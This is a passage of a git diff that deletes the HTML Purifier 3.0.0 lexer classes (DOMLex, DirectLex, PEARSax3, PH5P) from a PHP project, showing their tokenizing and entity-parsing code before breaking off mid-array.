- use %Core.LexerImpl", E_USER_WARNING); - } else { - $lexer = $config->get('Core', 'LexerImpl'); - } - - if (is_object($lexer)) { - return $lexer; - } - - if (is_null($lexer)) { do { - // auto-detection algorithm - - // once PHP DOM implements native line numbers, or we - // hack out something using XSLT, remove this stipulation - $line_numbers = $config->get('Core', 'MaintainLineNumbers'); - if ( - $line_numbers === true || - ($line_numbers === null && $config->get('Core', 'CollectErrors')) - ) { - $lexer = 'DirectLex'; - break; - } - - if (version_compare(PHP_VERSION, "5", ">=") && // check for PHP5 - class_exists('DOMDocument')) { // check for DOM support - $lexer = 'DOMLex'; - } else { - $lexer = 'DirectLex'; - } - - } while(0); } // do..while so we can break - - // instantiate recognized string names - switch ($lexer) { - case 'DOMLex': - return new HTMLPurifier_Lexer_DOMLex(); - case 'DirectLex': - return new HTMLPurifier_Lexer_DirectLex(); - case 'PH5P': - // experimental Lexer that must be manually included - return new HTMLPurifier_Lexer_PH5P(); - default: - trigger_error("Cannot instantiate unrecognized Lexer type " . htmlspecialchars($lexer), E_USER_ERROR); - } - - } - - // -- CONVENIENCE MEMBERS --------------------------------------------- - - public function __construct() { - $this->_entity_parser = new HTMLPurifier_EntityParser(); - } - - /** - * Most common entity to raw value conversion table for special entities. - */ - protected $_special_entity2str = - array( - '&quot;' => '"', - '&amp;' => '&', - '&lt;' => '<', - '&gt;' => '>', - '&#39;' => "'", - '&#039;' => "'", - '&#x27;' => "'" - ); - - /** - * Parses special entities into the proper characters. - * - * This string will translate escaped versions of the special characters - * into the correct ones. - * - * @warning - * You should be able to treat the output of this function as - * completely parsed, but that's only because all other entities should - * have been handled previously in substituteNonSpecialEntities() - * - * @param $string String character data to be parsed. - * @returns Parsed character data. - */ - public function parseData($string) { - - // following functions require at least one character - if ($string === '') return ''; - - // subtracts amps that cannot possibly be escaped - $num_amp = substr_count($string, '&') - substr_count($string, '& ') - - ($string[strlen($string)-1] === '&' ? 1 : 0); - - if (!$num_amp) return $string; // abort if no entities - $num_esc_amp = substr_count($string, '&amp;'); - $string = strtr($string, $this->_special_entity2str); - - // code duplication for sake of optimization, see above - $num_amp_2 = substr_count($string, '&') - substr_count($string, '& ') - - ($string[strlen($string)-1] === '&' ? 1 : 0); - - if ($num_amp_2 <= $num_esc_amp) return $string; - - // hmm... now we have some uncommon entities. Use the callback. - $string = $this->_entity_parser->substituteSpecialEntities($string); - return $string; - } - - /** - * Lexes an HTML string into tokens. - * - * @param $string String HTML. - * @return HTMLPurifier_Token array representation of HTML. - */ - public function tokenizeHTML($string, $config, $context) { - trigger_error('Call to abstract class', E_USER_ERROR); - } - - /** - * Translates CDATA sections into regular sections (through escaping). - * - * @param $string HTML string to process. - * @returns HTML with CDATA sections escaped. - */ - protected static function escapeCDATA($string) { - return preg_replace_callback( - '/<!\[CDATA\[(.+?)\]\]>/s', - array('HTMLPurifier_Lexer', 'CDATACallback'), - $string - ); - } - - /** - * Special CDATA case that is especially convoluted for <script> - */ - protected static function escapeCommentedCDATA($string) { - return preg_replace_callback( - '#<!--//--><!\[CDATA\[//><!--(.+?)//--><!\]\]>#s', - array('HTMLPurifier_Lexer', 'CDATACallback'), - $string - ); - } - - /** - * Callback function for escapeCDATA() that does the work. - * - * @warning Though this is public in order to let the callback happen, - * calling it directly is not recommended. - * @params $matches PCRE matches array, with index 0 the entire match - * and 1 the inside of the CDATA section. - * @returns Escaped internals of the CDATA section. - */ - protected static function CDATACallback($matches) { - // not exactly sure why the character set is needed, but whatever - return htmlspecialchars($matches[1], ENT_COMPAT, 'UTF-8'); - } - - /** - * Takes a piece of HTML and normalizes it by converting entities, fixing - * encoding, extracting bits, and other good stuff. - * @todo Consider making protected - */ - public function normalize($html, $config, $context) { - - // extract body from document if applicable - if ($config->get('Core', 'ConvertDocumentToFragment')) { - $html = $this->extractBody($html); - } - - // normalize newlines to \n - $html = str_replace("\r\n", "\n", $html); - $html = str_replace("\r", "\n", $html); - - if ($config->get('HTML', 'Trusted')) { - // escape convoluted CDATA - $html = $this->escapeCommentedCDATA($html); - } - - // escape CDATA - $html = $this->escapeCDATA($html); - - // expand entities that aren't the big five - $html = $this->_entity_parser->substituteNonSpecialEntities($html); - - // clean into wellformed UTF-8 string for an SGML context: this has - // to be done after entity expansion because the entities sometimes - // represent non-SGML characters (horror, horror!) - $html = HTMLPurifier_Encoder::cleanUTF8($html); - - return $html; - } - - /** - * Takes a string of HTML (fragment or document) and returns the content - * @todo Consider making protected - */ - public function extractBody($html) { - $matches = array(); - $result = preg_match('!<body[^>]*>(.+?)</body>!is', $html, $matches); - if ($result) { - return $matches[1]; - } else { - return $html; - } - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/DOMLex.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/DOMLex.php deleted file mode 100644 index d3cc902..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/DOMLex.php +++ /dev/null @@ -1,195 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Lexer.php'; -require_once 'HTMLPurifier/TokenFactory.php'; - -/** - * Parser that uses PHP 5's DOM extension (part of the core). - * - * In PHP 5, the DOM XML extension was revamped into DOM and added to the core. - * It gives us a forgiving HTML parser, which we use to transform the HTML - * into a DOM, and then into the tokens. It is blazingly fast (for large - * documents, it performs twenty times faster than - * HTMLPurifier_Lexer_DirectLex,and is the default choice for PHP 5. - * - * @note Any empty elements will have empty tokens associated with them, even if - * this is prohibited by the spec. This is cannot be fixed until the spec - * comes into play. - * - * @note PHP's DOM extension does not actually parse any entities, we use - * our own function to do that. - * - * @warning DOM tends to drop whitespace, which may wreak havoc on indenting. - * If this is a huge problem, due to the fact that HTML is hand - * edited and you are unable to get a parser cache that caches the - * the output of HTML Purifier while keeping the original HTML lying - * around, you may want to run Tidy on the resulting output or use - * HTMLPurifier_DirectLex - */ - -class HTMLPurifier_Lexer_DOMLex extends HTMLPurifier_Lexer -{ - - private $factory; - - public function __construct() { - // setup the factory - parent::__construct(); - $this->factory = new HTMLPurifier_TokenFactory(); - } - - public function tokenizeHTML($html, $config, $context) { - - $html = $this->normalize($html, $config, $context); - - // attempt to armor stray angled brackets that cannot possibly - // form tags and thus are probably being used as emoticons - if ($config->get('Core', 'AggressivelyFixLt')) { - $char = '[^a-z!\/]'; - $comment = "/<!--(.*?)(-->|\z)/is"; - $html = preg_replace_callback($comment, array($this, 'callbackArmorCommentEntities'), $html); - $html = preg_replace("/<($char)/i", '&lt;\\1', $html); - $html = preg_replace_callback($comment, array($this, 'callbackUndoCommentSubst'), $html); // fix comments - } - - // preprocess html, essential for UTF-8 - $html = $this->wrapHTML($html, $config, $context); - - $doc = new DOMDocument(); - $doc->encoding = 'UTF-8'; // theoretically, the above has this covered - - set_error_handler(array($this, 'muteErrorHandler')); - $doc->loadHTML($html); - restore_error_handler(); - - $tokens = array(); - $this->tokenizeDOM( - $doc->getElementsByTagName('html')->item(0)-> // <html> - getElementsByTagName('body')->item(0)-> // <body> - getElementsByTagName('div')->item(0) // <div> - , $tokens); - return $tokens; - } - - /** - * Recursive function that tokenizes a node, putting it into an accumulator. - * - * @param $node DOMNode to be tokenized. - * @param $tokens Array-list of already tokenized tokens. - * @param $collect Says whether or start and close are collected, set to - * false at first recursion because it's the implicit DIV - * tag you're dealing with. - * @returns Tokens of node appended to previously passed tokens. - */ - protected function tokenizeDOM($node, &$tokens, $collect = false) { - - // intercept non element nodes. WE MUST catch all of them, - // but we're not getting the character reference nodes because - // those should have been preprocessed - if ($node->nodeType === XML_TEXT_NODE) { - $tokens[] = $this->factory->createText($node->data); - return; - } elseif ($node->nodeType === XML_CDATA_SECTION_NODE) { - // undo DOM's special treatment of <script> tags - $tokens[] = $this->factory->createText($this->parseData($node->data)); - return; - } elseif ($node->nodeType === XML_COMMENT_NODE) { - $tokens[] = $this->factory->createComment($node->data); - return; - } elseif ( - // not-well tested: there may be other nodes we have to grab - $node->nodeType !== XML_ELEMENT_NODE - ) { - return; - } - - $attr = $node->hasAttributes() ? - $this->transformAttrToAssoc($node->attributes) : - array(); - - // We still have to make sure that the element actually IS empty - if (!$node->childNodes->length) { - if ($collect) { - $tokens[] = $this->factory->createEmpty($node->tagName, $attr); - } - } else { - if ($collect) { // don't wrap on first iteration - $tokens[] = $this->factory->createStart( - $tag_name = $node->tagName, // somehow, it get's dropped - $attr - ); - } - foreach ($node->childNodes as $node) { - // remember, it's an accumulator. Otherwise, we'd have - // to use array_merge - $this->tokenizeDOM($node, $tokens, true); - } - if ($collect) { - $tokens[] = $this->factory->createEnd($tag_name); - } - } - - } - - /** - * Converts a DOMNamedNodeMap of DOMAttr objects into an assoc array. - * - * @param $attribute_list DOMNamedNodeMap of DOMAttr objects. - * @returns Associative array of attributes. - */ - protected function transformAttrToAssoc($node_map) { - // NamedNodeMap is documented very well, so we're using undocumented - // features, namely, the fact that it implements Iterator and - // has a ->length attribute - if ($node_map->length === 0) return array(); - $array = array(); - foreach ($node_map as $attr) { - $array[$attr->name] = $attr->value; - } - return $array; - } - - /** - * An error handler that mutes all errors - */ - public function muteErrorHandler($errno, $errstr) {} - - /** - * Callback function for undoing escaping of stray angled brackets - * in comments - */ - public function callbackUndoCommentSubst($matches) { - return '<!--' . strtr($matches[1], array('&amp;'=>'&','&lt;'=>'<')) . $matches[2]; - } - - /** - * Callback function that entity-izes ampersands in comments so that - * callbackUndoCommentSubst doesn't clobber them - */ - public function callbackArmorCommentEntities($matches) { - return '<!--' . str_replace('&', '&amp;', $matches[1]) . $matches[2]; - } - - /** - * Wraps an HTML fragment in the necessary HTML - */ - protected function wrapHTML($html, $config, $context) { - $def = $config->getDefinition('HTML'); - $ret = ''; - - if (!empty($def->doctype->dtdPublic) || !empty($def->doctype->dtdSystem)) { - $ret .= '<!DOCTYPE html '; - if (!empty($def->doctype->dtdPublic)) $ret .= 'PUBLIC "' . $def->doctype->dtdPublic . '" '; - if (!empty($def->doctype->dtdSystem)) $ret .= '"' . $def->doctype->dtdSystem . '" '; - $ret .= '>'; - } - - $ret .= '<html><head>'; - $ret .= '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />'; - // No protection if $html contains a stray </div>! - $ret .= '</head><body><div>'.$html.'</div></body></html>'; - return $ret; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/DirectLex.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/DirectLex.php deleted file mode 100644 index af33301..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/DirectLex.php +++ /dev/null @@ -1,498 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Lexer.php'; - -HTMLPurifier_ConfigSchema::define( - 'Core', 'DirectLexLineNumberSyncInterval', 0, 'int', ' -<p> - Specifies the number of tokens the DirectLex line number tracking - implementations should process before attempting to resyncronize the - current line count by manually counting all previous new-lines. When - at 0, this functionality is disabled. Lower values will decrease - performance, and this is only strictly necessary if the counting - algorithm is buggy (in which case you should report it as a bug). - This has no effect when %Core.MaintainLineNumbers is disabled or DirectLex is - not being used. This directive has been available since 2.0.0. -</p> -'); - -/** - * Our in-house implementation of a parser. - * - * A pure PHP parser, DirectLex has absolutely no dependencies, making - * it a reasonably good default for PHP4. Written with efficiency in mind, - * it can be four times faster than HTMLPurifier_Lexer_PEARSax3, although it - * pales in comparison to HTMLPurifier_Lexer_DOMLex. - * - * @todo Reread XML spec and document differences. - */ -class HTMLPurifier_Lexer_DirectLex extends HTMLPurifier_Lexer -{ - - /** - * Whitespace characters for str(c)spn. - */ - protected $_whitespace = "\x20\x09\x0D\x0A"; - - /** - * Callback function for script CDATA fudge - * @param $matches, in form of array(opening tag, contents, closing tag) - */ - protected function scriptCallback($matches) { - return $matches[1] . htmlspecialchars($matches[2], ENT_COMPAT, 'UTF-8') . $matches[3]; - } - - public function tokenizeHTML($html, $config, $context) { - - // special normalization for script tags without any armor - // our "armor" heurstic is a < sign any number of whitespaces after - // the first script tag - if ($config->get('HTML', 'Trusted')) { - $html = preg_replace_callback('#(<script[^>]*>)(\s*[^<].+?)(</script>)#si', - array($this, 'scriptCallback'), $html); - } - - $html = $this->normalize($html, $config, $context); - - $cursor = 0; // our location in the text - $inside_tag = false; // whether or not we're parsing the inside of a tag - $array = array(); // result array - - $maintain_line_numbers = $config->get('Core', 'MaintainLineNumbers'); - - if ($maintain_line_numbers === null) { - // automatically determine line numbering by checking - // if error collection is on - $maintain_line_numbers = $config->get('Core', 'CollectErrors'); - } - - if ($maintain_line_numbers) $current_line = 1; - else $current_line = false; - $context->register('CurrentLine', $current_line); - $nl = "\n"; - // how often to manually recalculate. This will ALWAYS be right, - // but it's pretty wasteful. Set to 0 to turn off - $synchronize_interval = $config->get('Core', 'DirectLexLineNumberSyncInterval'); - - $e = false; - if ($config->get('Core', 'CollectErrors')) { - $e =& $context->get('ErrorCollector'); - } - - // infinite loop protection - // has to be pretty big, since html docs can be big - // we're allow two hundred thousand tags... more than enough? - // NOTE: this is also used for synchronization, so watch out - $loops = 0; - - while(true) { - - // infinite loop protection - if (++$loops > 200000) return array(); - - // recalculate lines - if ( - $maintain_line_numbers && // line number tracking is on - $synchronize_interval && // synchronization is on - $cursor > 0 && // cursor is further than zero - $loops % $synchronize_interval === 0 // time to synchronize! - ) { - $current_line = 1 + $this->substrCount($html, $nl, 0, $cursor); - } - - $position_next_lt = strpos($html, '<', $cursor); - $position_next_gt = strpos($html, '>', $cursor); - - // triggers on "<b>asdf</b>" but not "asdf <b></b>" - // special case to set up context - if ($position_next_lt === $cursor) { - $inside_tag = true; - $cursor++; - } - - if (!$inside_tag && $position_next_lt !== false) { - // We are not inside tag and there still is another tag to parse - $token = new - HTMLPurifier_Token_Text( - $this->parseData( - substr( - $html, $cursor, $position_next_lt - $cursor - ) - ) - ); - if ($maintain_line_numbers) { - $token->line = $current_line; - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_lt - $cursor); - } - $array[] = $token; - $cursor = $position_next_lt + 1; - $inside_tag = true; - continue; - } elseif (!$inside_tag) { - // We are not inside tag but there are no more tags - // If we're already at the end, break - if ($cursor === strlen($html)) break; - // Create Text of rest of string - $token = new - HTMLPurifier_Token_Text( - $this->parseData( - substr( - $html, $cursor - ) - ) - ); - if ($maintain_line_numbers) $token->line = $current_line; - $array[] = $token; - break; - } elseif ($inside_tag && $position_next_gt !== false) { - // We are in tag and it is well formed - // Grab the internals of the tag - $strlen_segment = $position_next_gt - $cursor; - - if ($strlen_segment < 1) { - // there's nothing to process! - $token = new HTMLPurifier_Token_Text('<'); - $cursor++; - continue; - } - - $segment = substr($html, $cursor, $strlen_segment); - - if ($segment === false) { - // somehow, we attempted to access beyond the end of - // the string, defense-in-depth, reported by Nate Abele - break; - } - - // Check if it's a comment - if ( - substr($segment, 0, 3) === '!--' - ) { - // re-determine segment length, looking for --> - $position_comment_end = strpos($html, '-->', $cursor); - if ($position_comment_end === false) { - // uh oh, we have a comment that extends to - // infinity. Can't be helped: set comment - // end position to end of string - if ($e) $e->send(E_WARNING, 'Lexer: Unclosed comment'); - $position_comment_end = strlen($html); - $end = true; - } else { - $end = false; - } - $strlen_segment = $position_comment_end - $cursor; - $segment = substr($html, $cursor, $strlen_segment); - $token = new - HTMLPurifier_Token_Comment( - substr( - $segment, 3, $strlen_segment - 3 - ) - ); - if ($maintain_line_numbers) { - $token->line = $current_line; - $current_line += $this->substrCount($html, $nl, $cursor, $strlen_segment); - } - $array[] = $token; - $cursor = $end ? $position_comment_end : $position_comment_end + 3; - $inside_tag = false; - continue; - } - - // Check if it's an end tag - $is_end_tag = (strpos($segment,'/') === 0); - if ($is_end_tag) { - $type = substr($segment, 1); - $token = new HTMLPurifier_Token_End($type); - if ($maintain_line_numbers) { - $token->line = $current_line; - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $inside_tag = false; - $cursor = $position_next_gt + 1; - continue; - } - - // Check leading character is alnum, if not, we may - // have accidently grabbed an emoticon. Translate into - // text and go our merry way - if (!ctype_alpha($segment[0])) { - // XML: $segment[0] !== '_' && $segment[0] !== ':' - if ($e) $e->send(E_NOTICE, 'Lexer: Unescaped lt'); - $token = new - HTMLPurifier_Token_Text( - '<' . - $this->parseData( - $segment - ) . - '>' - ); - if ($maintain_line_numbers) { - $token->line = $current_line; - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $cursor = $position_next_gt + 1; - $inside_tag = false; - continue; - } - - // Check if it is explicitly self closing, if so, remove - // trailing slash. Remember, we could have a tag like <br>, so - // any later token processing scripts must convert improperly - // classified EmptyTags from StartTags. - $is_self_closing = (strrpos($segment,'/') === $strlen_segment-1); - if ($is_self_closing) { - $strlen_segment--; - $segment = substr($segment, 0, $strlen_segment); - } - - // Check if there are any attributes - $position_first_space = strcspn($segment, $this->_whitespace); - - if ($position_first_space >= $strlen_segment) { - if ($is_self_closing) { - $token = new HTMLPurifier_Token_Empty($segment); - } else { - $token = new HTMLPurifier_Token_Start($segment); - } - if ($maintain_line_numbers) { - $token->line = $current_line; - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $inside_tag = false; - $cursor = $position_next_gt + 1; - continue; - } - - // Grab out all the data - $type = substr($segment, 0, $position_first_space); - $attribute_string = - trim( - substr( - $segment, $position_first_space - ) - ); - if ($attribute_string) { - $attr = $this->parseAttributeString( - $attribute_string - , $config, $context - ); - } else { - $attr = array(); - } - - if ($is_self_closing) { - $token = new HTMLPurifier_Token_Empty($type, $attr); - } else { - $token = new HTMLPurifier_Token_Start($type, $attr); - } - if ($maintain_line_numbers) { - $token->line = $current_line; - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $cursor = $position_next_gt + 1; - $inside_tag = false; - continue; - } else { - // inside tag, but there's no ending > sign - if ($e) $e->send(E_WARNING, 'Lexer: Missing gt'); - $token = new - HTMLPurifier_Token_Text( - '<' . - $this->parseData( - substr($html, $cursor) - ) - ); - if ($maintain_line_numbers) $token->line = $current_line; - // no cursor scroll? Hmm... - $array[] = $token; - break; - } - break; - } - - $context->destroy('CurrentLine'); - return $array; - } - - /** - * PHP 4 compatible substr_count that implements offset and length - */ - protected function substrCount($haystack, $needle, $offset, $length) { - static $oldVersion; - if ($oldVersion === null) { - $oldVersion = version_compare(PHP_VERSION, '5.1', '<'); - } - if ($oldVersion) { - $haystack = substr($haystack, $offset, $length); - return substr_count($haystack, $needle); - } else { - return substr_count($haystack, $needle, $offset, $length); - } - } - - /** - * Takes the inside of an HTML tag and makes an assoc array of attributes. - * - * @param $string Inside of tag excluding name. - * @returns Assoc array of attributes. - */ - public function parseAttributeString($string, $config, $context) { - $string = (string) $string; // quick typecast - - if ($string == '') return array(); // no attributes - - $e = false; - if ($config->get('Core', 'CollectErrors')) { - $e =& $context->get('ErrorCollector'); - } - - // let's see if we can abort as quickly as possible - // one equal sign, no spaces => one attribute - $num_equal = substr_count($string, '='); - $has_space = strpos($string, ' '); - if ($num_equal === 0 && !$has_space) { - // bool attribute - return array($string => $string); - } elseif ($num_equal === 1 && !$has_space) { - // only one attribute - list($key, $quoted_value) = explode('=', $string); - $quoted_value = trim($quoted_value); - if (!$key) { - if ($e) $e->send(E_ERROR, 'Lexer: Missing attribute key'); - return array(); - } - if (!$quoted_value) return array($key => ''); - $first_char = @$quoted_value[0]; - $last_char = @$quoted_value[strlen($quoted_value)-1]; - - $same_quote = ($first_char == $last_char); - $open_quote = ($first_char == '"' || $first_char == "'"); - - if ( $same_quote && $open_quote) { - // well behaved - $value = substr($quoted_value, 1, strlen($quoted_value) - 2); - } else { - // not well behaved - if ($open_quote) { - if ($e) $e->send(E_ERROR, 'Lexer: Missing end quote'); - $value = substr($quoted_value, 1); - } else { - $value = $quoted_value; - } - } - if ($value === false) $value = ''; - return array($key => $value); - } - - // setup loop environment - $array = array(); // return assoc array of attributes - $cursor = 0; // current position in string (moves forward) - $size = strlen($string); // size of the string (stays the same) - - // if we have unquoted attributes, the parser expects a terminating - // space, so let's guarantee that there's always a terminating space. - $string .= ' '; - - // infinite loop protection - $loops = 0; - while(true) { - - // infinite loop protection - if (++$loops > 1000) { - trigger_error('Infinite loop detected in attribute parsing', E_USER_WARNING); - return array(); - } - - if ($cursor >= $size) { - break; - } - - $cursor += ($value = strspn($string, $this->_whitespace, $cursor)); - // grab the key - - $key_begin = $cursor; //we're currently at the start of the key - - // scroll past all characters that are the key (not whitespace or =) - $cursor += strcspn($string, $this->_whitespace . '=', $cursor); - - $key_end = $cursor; // now at the end of the key - - $key = substr($string, $key_begin, $key_end - $key_begin); - - if (!$key) { - if ($e) $e->send(E_ERROR, 'Lexer: Missing attribute key'); - $cursor += strcspn($string, $this->_whitespace, $cursor + 1); // prevent infinite loop - continue; // empty key - } - - // scroll past all whitespace - $cursor += strspn($string, $this->_whitespace, $cursor); - - if ($cursor >= $size) { - $array[$key] = $key; - break; - } - - // if the next character is an equal sign, we've got a regular - // pair, otherwise, it's a bool attribute - $first_char = @$string[$cursor]; - - if ($first_char == '=') { - // key="value" - - $cursor++; - $cursor += strspn($string, $this->_whitespace, $cursor); - - if ($cursor === false) { - $array[$key] = ''; - break; - } - - // we might be in front of a quote right now - - $char = @$string[$cursor]; - - if ($char == '"' || $char == "'") { - // it's quoted, end bound is $char - $cursor++; - $value_begin = $cursor; - $cursor = strpos($string, $char, $cursor); - $value_end = $cursor; - } else { - // it's not quoted, end bound is whitespace - $value_begin = $cursor; - $cursor += strcspn($string, $this->_whitespace, $cursor); - $value_end = $cursor; - } - - // we reached a premature end - if ($cursor === false) { - $cursor = $size; - $value_end = $cursor; - } - - $value = substr($string, $value_begin, $value_end - $value_begin); - if ($value === false) $value = ''; - $array[$key] = $this->parseData($value); - $cursor++; - - } else { - // boolattr - if ($key !== '') { - $array[$key] = $key; - } else { - // purely theoretical - if ($e) $e->send(E_ERROR, 'Lexer: Missing attribute key'); - } - - } - } - return $array; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/PEARSax3.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/PEARSax3.php deleted file mode 100644 index c359a61..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/PEARSax3.php +++ /dev/null @@ -1,108 +0,0 @@ -<?php - -require_once 'XML/HTMLSax3.php'; // PEAR -require_once 'HTMLPurifier/Lexer.php'; - -/** - * Proof-of-concept lexer that uses the PEAR package XML_HTMLSax3 to parse HTML. - * - * PEAR, not suprisingly, also has a SAX parser for HTML. I don't know - * very much about implementation, but it's fairly well written. However, that - * abstraction comes at a price: performance. You need to have it installed, - * and if the API changes, it might break our adapter. Not sure whether or not - * it's UTF-8 aware, but it has some entity parsing trouble (in all areas, - * text and attributes). - * - * Quite personally, I don't recommend using the PEAR class, and the defaults - * don't use it. The unit tests do perform the tests on the SAX parser too, but - * whatever it does for poorly formed HTML is up to it. - * - * @todo Generalize so that XML_HTMLSax is also supported. - * - * @warning Entity-resolution inside attributes is broken. - */ - -class HTMLPurifier_Lexer_PEARSax3 extends HTMLPurifier_Lexer -{ - - /** - * Internal accumulator array for SAX parsers. - */ - protected $tokens = array(); - - public function tokenizeHTML($string, $config, $context) { - - $this->tokens = array(); - - $string = $this->normalize($string, $config, $context); - - $parser = new XML_HTMLSax3(); - $parser->set_object($this); - $parser->set_element_handler('openHandler','closeHandler'); - $parser->set_data_handler('dataHandler'); - $parser->set_escape_handler('escapeHandler'); - - // doesn't seem to work correctly for attributes - $parser->set_option('XML_OPTION_ENTITIES_PARSED', 1); - - $parser->parse($string); - - return $this->tokens; - - } - - /** - * Open tag event handler, interface is defined by PEAR package. - */ - public function openHandler(&$parser, $name, $attrs, $closed) { - // entities are not resolved in attrs - foreach ($attrs as $key => $attr) { - $attrs[$key] = $this->parseData($attr); - } - if ($closed) { - $this->tokens[] = new HTMLPurifier_Token_Empty($name, $attrs); - } else { - $this->tokens[] = new HTMLPurifier_Token_Start($name, $attrs); - } - return true; - } - - /** - * Close tag event handler, interface is defined by PEAR package. - */ - public function closeHandler(&$parser, $name) { - // HTMLSax3 seems to always send empty tags an extra close tag - // check and ignore if you see it: - // [TESTME] to make sure it doesn't overreach - if ($this->tokens[count($this->tokens)-1]->type == 'empty') { - return true; - } - $this->tokens[] = new HTMLPurifier_Token_End($name); - return true; - } - - /** - * Data event handler, interface is defined by PEAR package. - */ - public function dataHandler(&$parser, $data) { - $this->tokens[] = new HTMLPurifier_Token_Text($data); - return true; - } - - /** - * Escaped text handler, interface is defined by PEAR package. - */ - public function escapeHandler(&$parser, $data) { - if (strpos($data, '--') === 0) { - $this->tokens[] = new HTMLPurifier_Token_Comment($data); - } - // CDATA is handled elsewhere, but if it was handled here: - //if (strpos($data, '[CDATA[') === 0) { - // $this->tokens[] = new HTMLPurifier_Token_Text( - // substr($data, 7, strlen($data) - 9) ); - //} - return true; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/PH5P.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/PH5P.php deleted file mode 100644 index b43d145..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer/PH5P.php +++ /dev/null @@ -1,3886 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Lexer/DOMLex.php'; - -/** - * Experimental HTML5-based parser using Jeroen van der Meer's PH5P library. - * Requires PHP5, and occupies space in the HTML5 pseudo-namespace (may - * cause conflicts, sorry). - */ - -class HTMLPurifier_Lexer_PH5P extends HTMLPurifier_Lexer_DOMLex { - - public function tokenizeHTML($html, $config, $context) { - $html = $this->normalize($html, $config, $context); - $html = $this->wrapHTML( $html, $config, $context); - $parser = new HTML5($html); - $doc = $parser->save(); - $tokens = array(); - $this->tokenizeDOM( - $doc->getElementsByTagName('html')->item(0)-> // <html> - getElementsByTagName('body')->item(0)-> // <body> - getElementsByTagName('div')->item(0) // <div> - , $tokens); - return $tokens; - } - -} - -/* - -Copyright 2007 Jeroen van der Meer <http://jero.net/> - -Permission is hereby granted, free of charge, to any person obtaining a -copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be included -in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -*/ - -class HTML5 { - private $data; - private $char; - private $EOF; - private $state; - private $tree; - private $token; - private $content_model; - private $escape = false; - private $entities = array('AElig;','AElig','AMP;','AMP','Aacute;','Aacute', - 'Acirc;','Acirc','Agrave;','Agrave','Alpha;','Aring;','Aring','Atilde;', - 'Atilde','Auml;','Auml','Beta;','COPY;','COPY','Ccedil;','Ccedil','Chi;', - 'Dagger;','Delta;','ETH;','ETH','Eacute;','Eacute','Ecirc;','Ecirc','Egrave;', - 'Egrave','Epsilon;','Eta;','Euml;','Euml','GT;','GT','Gamma;','Iacute;', - 'Iacute','Icirc;','Icirc','Igrave;','Igrave','Iota;','Iuml;','Iuml','Kappa;', - 'LT;','LT','Lambda;','Mu;','Ntilde;','Ntilde','Nu;','OElig;','Oacute;', - 'Oacute','Ocirc;','Ocirc','Ograve;','Ograve','Omega;','Omicron;','Oslash;', - 'Oslash','Otilde;','Otilde','Ouml;','Ouml','Phi;','Pi;','Prime;','Psi;', - 'QUOT;','QUOT','REG;','REG','Rho;','Scaron;','Sigma;','THORN;','THORN', - 'TRADE;','Tau;','Theta;','Uacute;','Uacute','Ucirc;','Ucirc','Ugrave;', - 'Ugrave','Upsilon;','Uuml;','Uuml','Xi;','Yacute;','Yacute','Yuml;','Zeta;', - 'aacute;','aacute','acirc;','acirc','acute;','acute','aelig;','aelig', - 'agrave;','agrave','alefsym;','alpha;','amp;','amp','and;','ang;','apos;', - 'aring;','aring','asymp;','atilde;','atilde','auml;','auml','bdquo;','beta;', - 'brvbar;','brvbar','bull;','cap;','ccedil;','ccedil','cedil;','cedil', - 'cent;','cent','chi;','circ;','clubs;','cong;','copy;','copy','crarr;', - 'cup;','curren;','curren','dArr;','dagger;','darr;','deg;','deg','delta;', - 'diams;','divide;','divide','eacute;','eacute','ecirc;','ecirc','egrave;', - 'egrave','empty;','emsp;','ensp;','epsilon;','equiv;','eta;','eth;','eth', - 'euml;','euml','euro;','exist;','fnof;','forall;','frac12;','frac12', - 'frac14;','frac14','frac34;','frac34','frasl;','gamma;','ge;','gt;','gt', - 'hArr;','harr;','hearts;','hellip;','iacute;','iacute','icirc;','icirc', - 'iexcl;','iexcl','igrave;','igrave','image;','infin;','int;','iota;', - 'iquest;','iquest','isin;','iuml;','iuml','kappa;','lArr;','lambda;','lang;', - 'laquo;','laquo','larr;','lceil;','ldquo;','le;','lfloor;','lowast;','loz;', - 'lrm;','lsaquo;','lsquo;','lt;','lt','macr;','macr','mdash;','micro;','micro', - 